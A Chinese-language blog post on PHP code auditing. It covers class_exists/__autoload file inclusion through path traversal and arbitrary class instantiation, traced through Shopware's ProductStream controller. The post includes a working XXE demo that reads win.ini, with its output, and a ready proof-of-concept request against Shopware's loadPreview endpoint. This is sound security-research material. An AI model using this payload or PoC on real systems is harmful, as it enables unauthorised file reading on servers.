• PHP审计之class_exists与任意实例化漏洞


    PHP审计之class_exists与任意实例化漏洞

    前言

    发现PHP的一些漏洞函数挺有意思,跟着七月火师傅的文章来学习.

    class_exists函数

    函数说明

    class_exists :(PHP 4, PHP 5, PHP 7)

    功能 :检查类是否已定义

    定义bool class_exists ( string $class_name[, bool $autoload = true ] )

    $class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoloadtrue,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;当 $autoloadfalse 时,则不调用 __autoload 函数。

    函数漏洞

    class_exists() 函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数,这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件,当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容

    实例分析

    结合上面的class_exists函数漏洞, 来看到上面的代码。

    接受值过来$controllerName过来然后调用class_exists将该变量传入,而class_exists$autoload参数值并未进行设置,该参数默认为True,则会自动调用本类中的__autoload函数,这个函数恰巧进行了文件包含,即任意文件包含漏洞。

    看到第九行代码,这个位置new了一个接受过来的参数值,则可用实现任意的类实例化。但是在该代码中没有一些能直接在__construct构造函数中实现命令执行或其他操作的类。

    所以这里利用SimpleXMLElement类来实现实例化中实现一个XXE。

    看到demo

    <?php 
    $xml = '<?xml version="1.0"?>
    <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2018-10-01</date>
          <description>&xxe;</description>
       </core>
    </catalog>';
    $xxe = new SimpleXMLElement($xml);
    var_dump($xxe)
    ?>
        
    //结果:
        object(SimpleXMLElement)#1 (1) { ["core"]=> object(SimpleXMLElement)#2 (7) { ["@attributes"]=> array(1) { ["id"]=> string(7) "test101" } ["author"]=> string(9) "John, Doe" ["title"]=> string(10) "I love XML" ["category"]=> string(9) "Computers" ["price"]=> string(4) "9.99" ["date"]=> string(10) "2018-10-01" ["description"]=> object(SimpleXMLElement)#3 (1) { ["xxe"]=> object(SimpleXMLElement)#4 (1) { ["xxe"]=> string(85) "; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 " } } } }
     
    

    win.ini内容被读取。

    代码审计

    这里拿Shopware 来做一个审计

    漏洞点在在 engineShopwareControllersBackendProductStream.phploadPreviewAction方法中。

    路由访问则/Backend/ProductStream/loadPreviewAction

    看到loadPreviewAction方法代码

        public function loadPreviewAction()
        {
            $conditions = $this->Request()->getParam('conditions');
            $conditions = json_decode($conditions, true);
    
            $sorting = $this->Request()->getParam('sort');
    
            $criteria = new Criteria();
    
            /** @var RepositoryInterface $streamRepo */
            $streamRepo = $this->get('shopware_product_stream.repository');
            $sorting = $streamRepo->unserialize($sorting);
    
            foreach ($sorting as $sort) {
                $criteria->addSorting($sort);
            }
    
            $conditions = $streamRepo->unserialize($conditions);
    

    接收sort参数的值然后进行json_decode,而后

    这里获取shopware_product_stream.repository内容,然后调用unserialize

        public function unserialize($serializedConditions)
        {
            return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
        }
    

    跟踪这个unserialize

    LogawareReflectionHelper.phpunserialize代码

     public function unserialize($serialized, $errorSource)
        {
            $classes = [];
    
            foreach ($serialized as $className => $arguments) {
                $className = explode('|', $className);
                $className = $className[0];
    
                try {
                    $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
                } catch (Exception $e) {
                    $this->logger->critical($errorSource . ': ' . $e->getMessage());
                }
            }
    
            return $classes;
        }
    

    遍历$serialized,这个$serialized是我们sort传递并且进行json_deocode解密后的数据。

    随后调用createInstanceFromNamedArguments,跟进了一下方法,发现就是反射创建了一个实例化的对象。和Java里面的反射感觉上差不多。

     public function createInstanceFromNamedArguments($className, $arguments)
        {
            $reflectionClass = new ReflectionClass($className);
    
            if (!$reflectionClass->getConstructor()) {
                return $reflectionClass->newInstance();
            }
    
            $constructorParams = $reflectionClass->getConstructor()->getParameters();
    
            $newParams = [];
            foreach ($constructorParams as $constructorParam) {
                $paramName = $constructorParam->getName();
    
                if (!isset($arguments[$paramName])) {
                    if (!$constructorParam->isOptional()) {
                        throw new RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
                    }
                    $newParams[] = $constructorParam->getDefaultValue();
    
                    continue;
                }
    
                $newParams[] = $arguments[$paramName];
            }
    
            return $reflectionClass->newInstanceArgs($newParams);
        }
    

    分析完以上的,其实显而易见和上面的实例一样是一个任意实例化漏洞。

    那么也可以借助SimpleXMLElement类来实现一个XXE的效果,当然也可以去寻找一些__construct函数中有做其他操作例如命令执行或文件读取的也可以利用上。

    POC如下:

    /backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25
    

    参考文章

    代码审计Day3 - 实例化任意对象漏洞

    php代码审计危险函数总结

  • 相关阅读:
    HDU 4069 Squiggly Sudoku
    SPOJ 1771 Yet Another NQueen Problem
    POJ 3469 Dual Core CPU
    CF 118E Bertown roads
    URAL 1664 Pipeline Transportation
    POJ 3076 Sudoku
    UVA 10330 Power Transmission
    HDU 1426 Sudoku Killer
    POJ 3074 Sudoku
    HDU 3315 My Brute
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15383699.html
Copyright © 2020-2023  润新知